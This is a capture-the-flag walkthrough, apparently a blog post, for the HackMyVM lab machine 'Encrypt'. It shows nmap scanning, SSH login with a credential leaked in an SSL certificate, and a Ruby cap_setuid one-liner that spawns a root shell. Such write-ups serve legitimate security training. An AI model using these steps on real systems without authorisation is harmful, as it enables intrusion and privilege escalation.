Encrypt(Hackmyvm) — Complete Walkthrough

Encrypt is a linux based machine where intended path is thoroughly from enumeration. First important credential is hidden inside SSL certificate and final privileges escalation comes through unusual linux capability assigned to ruby.

Reconnaissance

First I started with full TCP scanning with nmap to identify the exposed services running on the machine.

nmap -sC -sV -p- 192.168.1.18

There were 2 services was running, ssh and ssl/http.

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 10.0p2 Debian 7+deb13u2 (protocol 2.0)
443/tcp open  ssl/http Apache httpd 2.4.67 ((Debian))
| tls-alpn: 
|_  http/1.1
|_http-title: Apache2 Debian Default Page: It works
| ssl-cert: Subject: commonName=iot:Goat123!
| Not valid before: 2026-05-26T17:58:58
|_Not valid after:  2027-05-26T17:58:58
|_http-server-header: Apache/2.4.67 (Debian)
|_ssl-date: TLS randomness does not represent time

And ssl certificate subject portion revealed a credential which can be a potential ssh login credential.

commonName=iot:Goat123!

SSH Access

After finding potential credential I tried to access ssh.

ssh iot@192.168.1.18
password: Goat123!

And boom I got logged in as user iot.

User flag

After obtaining ssh shell, I checked the user’s home directory:

iot@encrypt:~$ ls -la
total 32
drwx------ 3 iot  iot  4096 28 mai   15:08 .
drwxr-xr-x 3 root root 4096 28 mai   15:00 ..
-rw------- 1 iot  iot    22 28 mai   15:08 .bash_history
-rw-r--r-- 1 iot  iot   220 28 mai   14:55 .bash_logout
-rw-r--r-- 1 iot  iot  3526 28 mai   14:55 .bashrc
drwxrwxr-x 3 iot  iot  4096 28 mai   15:01 .local
-rw-r--r-- 1 iot  iot   807 28 mai   14:55 .profile
-rw-rw-r-- 1 iot  iot    65 28 mai   15:01 user.txt

And I got the user flag in user.txt.

Privilege Escalation

I started privilege escalation with basic checks, like

iot@encrypt:~$ sudo -l #not permitted 
iot@encrypt:~$ find / -perm -4000 -type f 2>/dev/null #nothing interesting finding here
iot@encrypt:~$ find / -perm -2000 -type f 2>/dev/null #nothing interesting finding here also

But then I checked capabilities

iot@encrypt:~$ getcap -r / 2>/dev/null 
iot@encrypt:~$ /sbin/getcap -r / 2>/dev/null # thankx to my previously machine 
iot@encrypt:~$ /sbin/getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/bin/ruby3.3 cap_setuid=ep

At first I found nothing, as 1st command getting ‘getcap: command not found’ but got silently swallowed by 2>/dev/null, but i remembered that sometime /sbin are not included in$PATH.

Get TheNotorious’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Now an interesting capability found is

/usr/bin/ruby3.3 cap_setuid=ep

Any process ruby spawns can call setuid() to any UID including 0 no matter who launched it. Its a classic GTFOBins capabilities abuse.

Exploiting this capability since its a real binary,

ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

It lands me as (#)

iot@encrypt:~$ ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
# id 
uid=0(root) gid=1000(iot) groupes=1000(iot),100(users)

Privilege escalation is complete, now I can read the root.txt, hence getting the root flag.

cat /root/root.txt

Conclusion

The main lesson from encrypt machine was not complicating exploit but doing necessary enumeration which often times get overlooked. And a good basic privilege escalation checklist is important.

sudo -l
id
groups
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
getcap -r / 2>/dev/null

Till then

> Think deeper. Hack smarter : kaneki